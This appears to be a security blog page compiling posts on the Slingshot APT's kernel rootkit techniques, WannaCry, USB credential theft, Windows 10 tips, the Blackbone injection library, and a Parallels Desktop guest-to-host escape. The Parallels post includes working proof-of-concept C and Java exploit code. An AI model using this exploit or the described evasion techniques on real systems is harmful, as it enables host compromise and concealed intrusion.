The Slingshot APT – kernel injecting trojan found in the wild by kaspersky

originally taken from her:

https://s3-eu-west-1.amazonaws.com/khub-media/wp-content/uploads/sites/43/2018/03/09133534/The-Slingshot-APT_report_ENG_final.pdf

The-Slingshot-APT_report_ENG_final

Ring0 loader This loader is compressed in module_id 0xBF000001. Actually, there might be more than one, so in case the first loader fails, there may be a second loader in the binary with module_id 0xBF000002. At this stage, Slingshot uses its internal logging system actively:

Slingshot checks if there is any kernel-mode payload and any loader available, and then the loaders are run one after the other. Upon starting, this loader gets SeLoadDriverPrivilege for installing malicious drivers into the system that it will later abuse for obtaining kernel privileges. In order to avoid leaving any traces of this activity in system logs, it renames the ETW-logs, and for the Security and System logs adds the .tmp extension. After execution, the loader removes the extensions. The final goal of this module is to load the Cahnadr module (kernel mode main payload, described below) into kernel mode. As previously stated, Slingshot has different ways to load code into kernel mode, each using its own loader. The simplest loader is used for 32-bit systems where Driver Signature Enforcement (DSE), which requires signed drivers, does not apply. This loader simply saves the driver on disk and loads it. When the driver is loaded, the loader shares the malicious payload with it by calling DeviceIoControl with control code 0x222000. This driver receives commands from the user-mode loader via DeviceIoControl. The only available command in this case allows running this code as a WorkItem into the System Worker Threads pool, which is a pool used by legitimate software for running quick tasks

In cases where the operating system supports DSE, the loader exploits a couple of legitimate but vulnerable drivers that allow writing in MSR registers. Successful exploitation of the drivers would allow to set in the MSR_LSTAR register a handler that, after running Sleep, calls Cahnadr

In order to prevent patch protection, the handler restores the original MSR register. This loader leverages the following drivers: 312E31851E0FC2072DBF9A128557D6EF Goad.sys – driver for x86 systems 5F9785E7535F8F602CB294A54962C9E7 SpeedFan.sys – CVE-2007-5633 9a237fa07ce3ed06ea924a9bed4a6b99 Sandra.sys – CVE-2010-1592 978CD6D9666627842340EF774FD9E2AC ElbyCDIO.sys – CVE-2009-0824 It is important to mention that the digital signatures in these drivers are still not revoked. All the drivers above are loaded into the kernel directly by creating the required keys in the registry and calling the ntdll!NtLoadDriver function. The service key name in the registry starts with the PCX* prefix.

Cahnadr – main kernel-mode payload This payload can be considered the main orchestrator, running in kernel mode and providing the necessary capabilities for all the other, user-mode payloads. This component is responsible for different features, including: 1. Anti-debugging actions and checking if the kernel is patched or not 2. Calling system services directly to hide malicious activities 3. Hooks KTHREAD.ServiceTable for threads 4. Rootkit actions for hiding traffic 5. Injecting user-mode payload (main malicious payload) into services.exe 6. Providing malicious API for user-mode modules 7. Providing communications via network 8. Notifying GollumApp payload about process-related events, providing interfaces for manipulating their memory 9. Monitoring all network devices 10. Providing sniffer functionality on the following protocols: ARP, TCP, UDP, DNS, ICMP, HTTP Anti-debug techniques include: • If kernel is already being debugged, it calls KdDisableDebugger() terminating the debugging process • It hooks LiveKd debugger driver’s routines IRP_MJ_CREATE, IRP_MJ_READ, FastIoDeviceControl • Installs notifiers to monitor PsSetLoadImageNotifyRoutine. If the LoadImageNotify event happens when LiveKdD.sys is loaded, the module patches the entry point that leads to error STATUS_FAILED_DRIVER_ENTRY In order to detect if the kernel is patched, it checks the kernel image in memory with the following kernel files on disk: • \\SystemRoot\\system32\\kernel_name • \\SystemRoot\\LastGood\\system32\\kernel_name • \\SystemRoot\\$*\\system32\\kernel_name For newer x32 versions it also checks win32k.sys at the same paths. It is important to note that Cahnadr checks only CheckSum and TimeStamp values for the kernel image in memory. If one of them is different, it means that the kernel was patched, and it terminates its execution. Actually, it needs an unpatched kernel and win32k.sys to get the origin function from KeServiceDescriptorTable and KeServiceDescriptorTableShadow, which will be used to directly interact with system services and hooking the KTHREAD.ServiceTable on x32 systems. In order to hide calls, it can associate system services to some Zw*, Rtl*, Nt* functions. Instead of taking the addresses for these functions from SSDT, Cahnadr extracts them from the kernel image on disk for unpatched kernels. It also implements code to find a function address by its name by comparing exported routines from ntdll and ntoskrnl addresses: if the address of the exported functions is the same as the system service address, it means the address was correctly found. Ntdll.dll exported functions addresses are also taken from the image stored on disk to avoid hooks set by other programs.

Not all functions are mandatory to be found, there is a flag for each of them. All listed routines are used for injecting malicious code into user-mode processes. For newer x32 versions this list was highly extended, adding debug-related functions and functions for suspending and resuming threads and processes. For x32 systems, Cahnadr hooks KTHREAD.ServiceTable. It copies the KeServiceDescriptorTable and KeServiceDescriptorTableShadow, then fills it with the original handlers restored from disk and changes the address in KTHREAD.ServiceTable to pointer to a new structure. This is used to inject threads into user mode: once a component is injected as a separate thread, Cahnadr patches its KTHREAD.ServiceTable with the original handlers in order to hide its malicious functionality and avoid possible installed hooks. Cahnadr also provides the following API functionality: • Direct disk access: read/write by raw-offset, defragmentation ban, etc. These routines are used for working with the virtual file system • Read/write into memory by raw address • Routines for injecting code into a process as a separate thread. It is possible to set the thread state and choose the preferred routine for creating the thread (NtCreateThreadEx or NtCreateThread). For GollumApp it is obligatory to use NtCreateThread • Get the access token by process_id • Get the SERVICE_DESCRIPTOR_TABLE address • Get the DRIVER_OBJECT object pointer by driver name • Get detailed information about processes opened in csrss.exe (start time, time in kernel mode, time in user mode, number of calls ZwRead and ZwWrite, among of data received/sent via ZwRead/ZwWrite) • Get handle for process_1 in process_2. In other words, opens process_1 from process_2. This way process_2 gets the handle of process_1 • Close handle that belongs to any process • Provides network functionality: add a new network-related task, delete an old one, turn on/off a network task, send information about all active network tasks to GollumApp • Hooks the ServiceTable in KTHREAD in the specified thread or process (only on x32), providing: setting/deleting a hook by ThreadID, setting/deleting hook for all threads by PID, checking if thread/process was hooked • Sets time to sleep before shutdown Cahnadr calls PsSetCreateProcessNotifyRoutine, PsSetCreateThreadNotifyRoutine routines in order to automate installing hooks. Created processes will be hooked if their parent process was hooked, as will threads if their process was hooked. Shutdown notifications are detected by calling the IoRegisterShutdownNotification routine. When a notification is received, it is sent to GollumApp with the time that GollumApp can spend for completion. While GollumApp works, Cahnadr sleeps. It installs bugcheck notifications by calling the KeRegisterBugCheckReasonCallback routine. When a notification is received it calls KeBugCheck with the undocumented POWER_FAILURE_SIMULATE parameter, which is a way to reboot from kernel mode without BSOD and crush dump. This way, in case a fatal error occurs, Cahnadr reboots the system without creating a memory dump on disk. The communication between kernel and user mode modules is implemented in different ways for x32 and x64 components. In x64 components Cahnadr sets IRP-requests handlers for the ‘null.sys’ driver. Each handler contains a ‘jmp’ operation to the malicious code located in the ‘null.sys’ image in memory. This is how hooks are typically set in this APT, making them harder to detect.

However malicious and legitimate IRP-handlers have a conflicting component, as both null.sys and Cahnadr can process requests to IRP-MJ-CLOSE. That’s why only one hook and three ordinary handlers are set. After that, user mode modules can send data to Cahnadr by calling CreateFile(\\\\.\\NUL, …) + DeviceIoControl. In x32 components another approach was used. Cahnadr registers a RegistryCallback routine by calling CmRegisterCallback to monitor all operations in the registry. When any user mode module sends something to Cahnadr it sets the ArbitraryUserPointer field of the TIB pointer to the related data, starting with 0x2BADDOOD, and then calls RegEnumKeyW which triggers the kernel mode callback..

Cahnadr hooks the following routines in order to hide its traffic, perform different tasks and provide additional functionality for the user mode components: • ndis!NdisMSendNetBufferListsComplete • ndis!NdisMIndicateReceiveNetBufferLists These routines are callbacks run by network drivers to notify handlers with all data sent or received. The function lists in PNET_BUFFER_LIST all packets and their related event. Cahnadr checks if there are Slingshot-related packets in this list, and if so, removes them. Let´s explain this in more detail: The trick is that all the malware is allocated to a particular pool that allows discriminating it from other benign calls. NdisAllocateNetBufferListPool creates NET_BUFFER_LIST, that is initialized calling NdisAllocateNetBufferAndNetBufferList. When the network driver sends data, it gets into such a NET_BUFFER structure, which in turn, gets into NET_BUFFER_LIST. The callbacks routine NdisMSendNetBufferListsComplete, that gets the NET_BUFFER_LISTs with data successfully sent, is hooked. Malware simply checks if any entry in NET_BUFFER_LIST was allocated from the malware pool and, if so, will simply not return it to the original handler. This sniffer has a list of tasks, each one associated with a list of handlers. Inbound and outbound packets are examined and passed to the appropriate task’s processor, which calls all handlers associated with the task. The result determines whether malware should hide the package. We have seen three types of task: HTTP: This is the only handler that notifies GollumApp (user mode payload, described below) that HTTP data is being transferred. ARPf: (two handlers for this type). The first one notifies GollumApp when an ARP-request is received and/or when an ARP-response is sent. The second one stores this information in its internal storage, collecting information about the network structure. This task is enabled by default. IP2f: (two handlers of this type). The first one checks if the package comes from the malware operators, only to decide whether the package should be hidden. This is decided by XORing two Timestamps values from the Options field in the TCP-header (RFC1323, code 0x080A). If the result is equal to 0xDEADFOOD then this package should be hidden. The second one notifies GollumApp that some TCP/UDP or ICMP packets that suit malicious filters were found. For instance, for TPC traffic this filter uses the same described XOR procedure with the constant 0xDADAE000, sending GollumApp the seqNumber, askNumber and src port values. For UDP, packets with a length of 0x55 bytes containing DNS responses, it checks that the field dns.Identifier equals 0x212. In that case, the packet is hidden and GollumApp is notified with the resolved IP and TTL of the packet. For ICMP, packets containing the «Destination port unreachable» error it checks that the overlying protocol contains the constant 0xE17F (57727). In that case, GollumApp is notified with ip.Destination, ip.identification, ip.length. This task is enabled by default. The malware identifies HTTP traffic by checking the ASK flag in TCP protocol, and by finding the HTTP signature in the TCP package body. This task is disabled by default, however GollumApp can enable it. Additionally, this kernel mode module provides the following functionality for user mode components: • ARP-query: obtains the MAC-address for a specified IP address. Requires network interface as a parameter • ARP-reply: sends its own MAC address as a response to a specified ARP-request, regardless of whether the IP from the request and the infected computer are the same or not • Sends custom network package, where all fields can be customized from the Ethernet-layer • Sends custom IPV4 package Cahnadr supports IEEE 802.11 standard, allowing it to operate with WiFi frames. Network interfaces are traced using Plug-and-Play notifications with EventCategory – PNPNOTIFY_DEVICE_INTERFACE_INCLUDE_EXISTING_INTERFACES. When a network interface change event happens, all hooks listed above apply and Cahnadr checks the category of the new interface (bridge/wan/lan). Depending on the type of interface, it gets different data that is written in thee malware´s storage: • Ethernet: MAC-address and maximum frame size • Wireless (802.11) Access Point MAC-address and authentication state

I WANNA CRYYY

What is WannaCry ?

Wanna Cry, also known as WannaCrypt, WannaCryptor, and WannaDecryptor, is a type of ransomware. Ransomware is a malicious software that will seal your device (PC, tablet or mobile), infect your files and display a message demanding for ransom. The affected users are asked to pay the ransom amount via Bitcoin or similar payment modes. Following the payment, the files will be released, however, failure to pay the amount will result in damage of data that can’t be repaired. On the other hand, paying the ransom doesn’t ensure retrieval of an encrypted data.

The mode of attack implemented by ransomware includes infecting targets through traditional methods. This comprises of phishing, identity theft, malicious emails, and dodgy attachments. Once the PC has been infected with the malware, the software code checks the system for additional targets through networks and infects the new found victims.

What does WannaCry ransomware do?

There are different kinds of ransomware that might affect your Windows OS but all of them will lock your PC and prevent you from using it normally. In order to restore it to a normal state, the malicious software will demand of something in the form of ransom.

The malware targets any users with Windows OS installed in their home computer or workplace and servers used by a government agency or healthcare department.

Ransomware can:

Encrypt files so you can’t access them.
Prevent you from accessing your Windows system.
Stops the running of certain apps like your web browser.

Windows OS affected by ransomware

Windows OS that are older and not updated are more vulnerable to be attacked by this particular malware. The following Windows operating systems are named to be more affected by ransomware:

Windows 8
Windows XP
Windows Server 2003

However, if you have installed the latest version of Windows or you are regular on updating your system, the PC is less likely to be infected by the WannaCry ransomware. Listed are a few of the OS that are less susceptible to get infected:

Windows 10
Windows 8.1
Windows 7
Windows Vista
Windows Server 2008
Windows Server 2008 R2
Windows Server 2012
Windows Server 2012 R2
Windows Server 2016

If the recent version of these listed Windows OS have not been updated in a timely manner, there are still high chances of being a target.

But, if your device runs on MacOS, ChromeOS or Linux or mobile operating systems like iOS and Android, you need not worry about this specific threat.

Note: The new tool named WanaKiwi is “able” to decrypt the data locked by ransom software, works on both Windows 2008, 7, XP and Vista, and has been proven effective by some security companies.

Stealing login credentials from a locked PC or Mac just got easier

Snatching the login credentials of a locked computer just got easier and faster, thanks to a technique that requires only $50 worth of hardware and takes less than 30 seconds to carry out.

Rob Fuller, a principal security engineer at R5 Industries, said the hack works reliably on Windows devices and has also succeeded on OS X, although he’s working with others to determine if it’s just his setup that’s vulnerable. The hack works by plugging a flash-sized minicomputer into an unattended computer that’s logged in but currently locked. In about 20 seconds, the USB device will obtain the user name and password hash used to log in to the computer. Fuller, who is better known by his hacker handle mubix, said the technique works using both the Hak5 Turtle ($50)and USB Armory ($155), both of which are USB-mounted computers that run Linux.

“First off, this is dead simple and shouldn’t work, but it does,” mubix wrote in a blog post published Tuesday. “Also, there is no possible way that I’m the first one that has identified this, but here it is (trust me, I tested it so many ways to confirm it because I couldn’t believe it was true).”

The pilfered authentication hash can either be cracked or downgraded to another hash that can be used to gain unauthorized access. In the event the machine is running an older version of Windows, the returned NTLMv1 hash can be converted to NTLM format no matter how complex the underlying plaintext password is. And from there, it can be used in pass-the-hash-style attacks. A NTLMv2 hash used by newer versions of Windows would require more work. In mubix’s tests, hashes returned by even a fully up-to-date El Capitan Mac were able to be downgraded to a susceptible NTLMv1 hash.

The Hak5 Turtle and USB Armory are both full Linux computers that are capable of emulating a USB Ethernet device. Mubix outfitted them with simple configuration modifications that present the hardware as a DHCP server. The status makes the USB device the default gateway that’s able to receive network traffic. Using a hacking app known as Responder, the device can then receive authentication tokens. Mubix reports that some people have gotten a similar setup to work on a RaspberriPi Zero, making the cost of this hack $5 and about 10 minutes of configuration setup.

Here’s a video of it in action:

USB credential stealing while screen is locked.

In an e-mail, Fuller wrote:

What is happening in the video, is the USB Armory is being plugged into a locked (but logged in) system. It boots up via the USB power, and starts up a DHCP server, and Responder. While it’s doing this, the victim is recognizing it as a Ethernet adapter. The victim then makes route decisions and starts sending the traffic it was already creating to the Armory instead of the “real” network connection. Responder does its job and responds to all kinds of services asking for authentication, and since most OSs treat their local network as “trusted” it sees the authentication request and automatically authenticates. Seeing that the database of Responder has been modified the Armory shuts down (LED goes solid).

The demo underscores the age-old maxim equating physical access with owning or “pwning” a device. Still, the lock screen is a regular feature in most offices for users who don’t want to turn off or physically bring their computer with them while using the restroom. And for that reason, a hack that surreptitiously steals the passwords of such computers in 20 seconds is noteworthy.

Mubix said he’s working on a follow-up post suggesting ways to prevent the attack. In the meantime, he’s referring people to this mitigation technique, which he says works “pretty well.”

What to do when you hate Windows 10

I usually start this column with “so and so needed something done to their PC,” but if I were to include the names of all the people who have written me about how unhappy they are with their Windows 10 “upgrade” the file would be so large the server that hosts this page would need a new hard drive. I’ve been inundated with unhappy Windows 10 users for the past two months, and my heart goes out to these folks. A lot of them were upgraded unsuspectingly, and Microsoft deserves a ton of scorn for its malware-likeWindows 10 upgrade tactics. That said, now that you have Windows 10 on your PC and you’re not happy, here’s what you can do about it.

1. Keep it, but make some changes

I know this is probably not what you want to hear, but overall I don’t think Windows 10 is a bad OS like Windows 8 was when it launched. It’s essentially a hybrid version of Windows 7 and Windows 8.1, and it’s going to be around for a very long time in one form or another so you might as well get comfortable with it now. It also offers a lot of tweaks that could help it grow on you. Here are some of my favorites:

Enable Dark Mode

Muzzle Cortana

Customize the Start Menu

Enable tracking for your laptop

Disable Quick Access in File Explorer

Use virtual desktops

Tweak your desktop colors

Snap your windows

Dark mode – give it a try!

And that’s just scratching the surface. For a ton more tips check here,here, andhere.

2. Go back to your old OS, aka the Nuclear Option

If you have a copy of your OS on disc or digital media, you can always just nuke and pave, as we say. That means you will wipe the hard drive and reinstall the OS from scratch. We generally don’t recommend it, however, because it’s a huge hassle. If your data files such as music, documents, pictures and such are on the same partition as your OS you’ll need to back up everything first, reinstall your OS from scratch, them migrate everything back. Now, if you followed our previous advice about keeping your OS and data on separate partitions you’re in better shape, and situations like this is exactly why we deploy this strategy. You can reinstall your OS without touching any of your precious data.

3. Restore from Factory OS partition

This one is tricky. Say you have a PC from a company such as Dell, Lenovo, or HP. They will typically ship the PC with a recovery partition, meaning an image of the system as it left the factory is stored on a small partition, and you can restore the PC to that factory condition by using a built-in utility that you launch at boot. I have not been able to test this, but if that partition is for Windows 7 or 8, it seems that installing Windows 10 might render that “old” partition unusable. In this forum thread, the moderator states, “If you upgrade using Windows Update or the .ISO media, your recovery partition will become inoperable.” Therefore, if you have a Windows 7 or 8 recovery partition, be sure to create recovery media before the upgrade, just in case. If you have physical media that came with your PC you can also use that.

4. Isn’t there an easier way to go back to my old OS?

Not anymore, there isn’t. There was a period during the “free upgrade” era when Microsoft allowed people to try Windows 10 for 31 days and go back if they were unhappy, but that window has closed. So for now you’re stuck with it.

Simple guest to host VM escape for Parallels Desktop

First post in this blog that written in english, please be patient with my awful language skills.

This is a little story about exploiting guest to host VM escape not-a-vulnerability in Parallels Desktop 10 for Mac. Discovered attack is not about some serious hardcore stuff like hypervisor bugs or low-level vulnerabilities in guest-host communication interfaces, it can be easily performed even by very lame Windows malware if your virtual machine has insecure settings.

Discovering

It always was obvious to me, that rich features for communicating with the guest operating systems (almost any modern desktop virtualisation software has them) might be dangerous. Recently I finally decided to check, how exactly they can be dangerous on example of the virtualisation software that I’m using on OS X (and millions ofother users too). It’s a nice product and I think that currently it has a much less attention of security researchers than it actually deserving.

Parallels Desktop 10 virtual machines has a lot of user-friendly capabilities for making guest operating system highly integrated with the host, and most of such options are enabled by default.
Let’s talk about one of them:

Parallels Desktop 10 VM options

There is “Access Windows folder from Mac” option that looks pretty innocent (please note, that all other sharing options are off). This option is enabled by default for all of the virtual machines as well, and here is the description of this option from Parallels Desktop 10 for Mac User’s Guide:

Access a Windows Folder or File from a Mac OS X Application

By default, you can navigate to all your Windows folders and files from Mac OS X. Windows disks are mounted to /Volumes. At the same time, Windows appears as a hard disk mounted on the Mac OS X desktop.

Note: The Windows disk disappears from the desktop and the Finder, but you can still access all of the Windows files and folders via the Windows PVM file and Terminal (/Volumes). By default, the PVM file is either in /Users/<Username>/Documents/Parallels/ or /Users/Shared. You can also find the PVM file by right-clicking Windows in Parallels Desktop Control Center (or in the virtual machine window when Windows is shut down) and selecting Show in Finder. To access Windows files and folders, right-click the PVM file, selectShow Package Contents from the context menu, and open the Windows Disks folder. To disable the ability to navigate to Windows files and folders, deselect Access Windows folders from Mac in step 3 above.

Well, just a guest file system sharing, you’ll say, what could possibly go wrong? Unfortunately, a lot.

After enabling this option you also can notice, that in context menu of Windows Explorer presents a very interesting “Open on Mac” shortcut:

Looks promising, right? Technically this option asking the piece of Parallels software that working on the host side to do the thing, that equivalent to double-clicking on a target file in Finder.

Guest-side part of this option is implemented as PrlToolsShellExt.dll shell extension (MD5 sum of DLL with version 10.1.1.28614 on my Windows 8.1 x64 guest is 97D15FB584C589FA297434E08CD0252F). Menu item click handler is located at function sub_180005834() and after some pre-processing of input values it sends IOCTL request to the device \Device\prl_tg that aims to one of the Paralles kernel mode drivers (prl_tg.sys):

After the breakpoint on this DeviceIoControl() call we will obtain a call stack backatrace and function arguments:

0:037> k L7
Child-SP          RetAddr           Call Site
00000000`12bcd1c0 00007ff9`2a016969 PrlToolsShellExt!DllUnregisterServer+0x1596
00000000`12bcd310 00007ff9`2a01fd71 SHELL32!Ordinal93+0x225
00000000`12bcd410 00007ff9`2a4cf03a SHELL32!SHCreateDefaultContextMenu+0x581
00000000`12bcd780 00007ff9`2a4cc4b1 SHELL32!Ordinal927+0x156c2
00000000`12bcdaf0 00007ff9`2a4c76f7 SHELL32!Ordinal927+0x12b39
00000000`12bcded0 00007ff9`21d09944 SHELL32!Ordinal927+0xdd7f
00000000`12bcdf20 00007ff9`21d059d3 explorerframe!UIItemsView::ShowContextMenu+0x298

First 4 arguments of the DeviceIoControl(), rcx – device handle, r8 – input buffer, r9 – buffer length:

0:037> r
rax=0000000012bcd240 rbx=0000000000000000 rcx=0000000000000d74
rdx=000000000022a004 rsi=0000000000000001 rdi=0000000000000070
rip=00007ff918bd5b92 rsp=0000000012bcd1c0 rbp=000000000022a004
r8=0000000012bcd240  r9=0000000000000070 r10=000000001a5bc990
r11=000000001a5bd110 r12=0000000000000002 r13=0000000012bcd490
r14=0000000012bcd4a0 r15=0000000016af90f0

Last 4 arguments of the DeviceIoControl() that was passed over the stack:

0:037> dq rsp L4
00000000`12bcd1c0  00000000`00000000 00000000`02bdc218
00000000`12bcd1d0  00000000`00000001 00000000`00ce2480

IOCTL request input buffer:

0:037> dq @r8
00000000`12bcd240  ffffffff`00008321 00000000`00010050
00000000`12bcd250  00000000`00000001 00000000`00000002
00000000`12bcd260  00000000`00000002 00000000`00000000
00000000`12bcd270  00000000`00000000 00000000`00000000
00000000`12bcd280  00000000`00000000 00000000`00000000
00000000`12bcd290  00000000`00000000 00000000`00000000
00000000`12bcd2a0  00000000`02c787d0 00000000`0000003c

It consists from several magic values and pointer to the ASCII string with the target file path at 0x60 offset:

0:037> da poi(@r8+60)
00000000`02c787d0  "\\psf\TC\dev\_exploits\prl_guet_"
00000000`02c787f0  "to_host\New Text Document.txt"

After sending this IOCTL control request to the driver, specified file will be opened at the host side. It’s also interesting and useful, that this action can be triggered from Windows user account with any privileges (including Guest):

\Device\prl_tg security permissions

And because the target file will be opened at the host side with privileges of the current OS X user, it seems that “Access Windows folder from Mac” option is definitely breaks a security model that you’re usually expecting from guest-host interaction.

Exploiting

The following function was implemented after the short reverse engineering of shell extension. It interacting with the Parallels kernel driver and executing specified file at the host side:

void OpenFileAtTheHostSide(char *lpszFilePath)
{
    HANDLE hDev = NULL;

    // get handle to the target device    
    if (OpenDevice(L"\\Device\\prl_tg", &hDev))
    {
        PDWORD64 RequestData = (PDWORD64)LocalAlloc(LMEM_FIXED, 0x70);
        if (RequestData)
        {
            IO_STATUS_BLOCK StatusBlock;          

            ZeroMemory(RequestData, 0x70);

            /*
                Fill IOCTL request input buffer.
                It has the same layout on x86 and x64 versions of Windows
            */
            RequestData[0x0] = 0xffffffff00008321; // magic values
            RequestData[0x1] = 0x0000000000010050;
            RequestData[0x2] = 0x0000000000000001;
            RequestData[0x3] = 0x0000000000000002;
            RequestData[0x4] = 0x0000000000000002;
            RequestData[0xc] = (DWORD64)lpszFilePath; // file path and it's length
            RequestData[0xd] = (DWORD64)strlen(lpszFilePath) + 1;

            NTSTATUS ns = NtDeviceIoControlFile(
                hDev, NULL, NULL, NULL, &StatusBlock,
                0x22a004, // IOCTL code
                RequestData, 0x70,
                RequestData, 0x70
            );
            
            DbgMsg(__FILE__, __LINE__, "Device I/O control request status is 0x%.8x\n", ns);

            // ...

            M_FREE(RequestData);
        }

        CloseHandle(hDev);
    }
}

Now let’s write some payload.
Unfortunately, we can’t execute a shell script or AppleScript file in this way because such files will be opened in a text editor. But there’s still a lot of other evil things that attacker can do with the ability of arbitrary file opening. For example, it’s possible to write a Java .class that executes specified command and saves it’s output to the guest file system (that usually mounted at /Volumes/<windows_letter>):

public static void main(String[] args) 
{ 
    // exeute command and get it's output
    StringBuilder output = new StringBuilder();
    if (exec(defaultCmd, output) == -1)
    {
        output.append("Error while executing command");
    }
                     
    String volumesPath = "/Volumes";
    File folder = new File(volumesPath);

    // enumerate mounted volumes of Parallels guests
    for (File file : folder.listFiles()) 
    {
        if (file.isDirectory()) 
        {    
            // try to save command output into the temp
            String outFile = volumesPath + "/" + 
                file.getName() + "/Windows/Temp/prl_host_out.txt";

            try
            {                    
                write(outFile, output.toString());
            }                    
            catch (IOException e) { continue; }
        }
    }
}

Using this .class and OpenFileAtTheHostSide() function we can implement a usable command execution exploit:

Execution of commands using PoC

Full exploit code is available at GitHub: https://github.com/Cr4sh/prl_guest_to_host

Protection from this attack is pretty simple: disabling “Access Windows folder from Mac” option in virtual machine settings prevents the ability of opening files from the guest systems.
Also, you can enable “Isolate Windows from Mac” option that disables (in theory) all of the virtual machine sharing features:

TL;DR

It can be rather an incomplete documentation issue than vulnerability. It’s absolutely not obvious for user, that guest file system sharing can lead to arbitrary code execution at the host side.
Exploit is very simple and reliable, works under all of the versions of Windows on guest machines, attack can be performed with the privileges of any Windows user that belongs to the Everyone security group. This issue is also relevant to other guest operating systems (like Linux and OS X), however, provided PoC was designed only for Windows.
It will be good to disable sharing options of virtual machines, if such attack vector might be a critical for your threat model.
I think that It’s very unlikely that Parallels will release any significant fixes or improvements for described mechanisms, because any reasonable fix will break the easy way of opening Windows documents on Mac.
I played a bit with only one sharing option, but who knows now many similar (or even worse) security issues are actually exists in Parallels, VMware and Oracle products.

PS: Have a good fun at ZeroNights, too bad that this year I’m missing it.

Nice DLL Injection LIB

Blackbone

https://github.com/DarthTon/Blackbone

Windows memory hacking library

Features

x86 and x64 support

Process interaction

Manage PEB32/PEB64
Manage process through WOW64 barrier

Process Memory

Allocate and free virtual memory
Change memory protection
Read/Write virtual memory

Process modules

Enumerate all (32/64 bit) modules loaded. Enumerate modules using Loader list/Section objects/PE headers methods.
Get exported function address
Get the main module
Unlink module from loader lists
Inject and eject modules (including pure IL images)
Inject 64bit modules into WOW64 processes
Manually map native PE images

Threads

Enumerate threads
Create and terminate threads. Support for cross-session thread creation.
Get thread exit code
Get main thread
Manage TEB32/TEB64
Join threads
Suspend and resume threads
Set/Remove hardware breakpoints

Pattern search

Search for arbitrary pattern in local or remote process

Remote code execution

Execute functions in remote process
Assemble own code and execute it remotely
Support for cdecl/stdcall/thiscall/fastcall conventions
Support for arguments passed by value, pointer or reference, including structures
FPU types are supported
Execute code in new thread or any existing one

Remote hooking

Hook functions in remote process using int3 or hardware breakpoints
Hook functions upon return

Manual map features

x86 and x64 image support
Mapping into any arbitrary unprotected process
Section mapping with proper memory protection flags
Image relocations (only 2 types supported. I haven’t seen a single PE image with some other relocation types)
Imports and Delayed imports are resolved
Bound import is resolved as a side effect, I think
Module exports
Loading of forwarded export images
Api schema name redirection
SxS redirection and isolation
Activation context support
Dll path resolving similar to native load order
TLS callbacks. Only for one thread and only with PROCESS_ATTACH/PROCESS_DETACH reasons.
Static TLS
Exception handling support (SEH and C++)
Adding module to some native loader structures(for basic module api support: GetModuleHandle, GetProcAdress, etc.)
Security cookie initialization
C++/CLI images are supported
Image unloading
Increase reference counter for import libraries in case of manual import mapping
Cyclic dependencies are handled properly

Driver features

Allocate/free/protect user memory
Read/write user and kernel memory
Disable permanent DEP for WOW64 processes
Change process protection flag
Change handle access rights
Remap process memory
Hiding allocated user-mode memory
User-mode dll injection and manual mapping
Manual mapping of drivers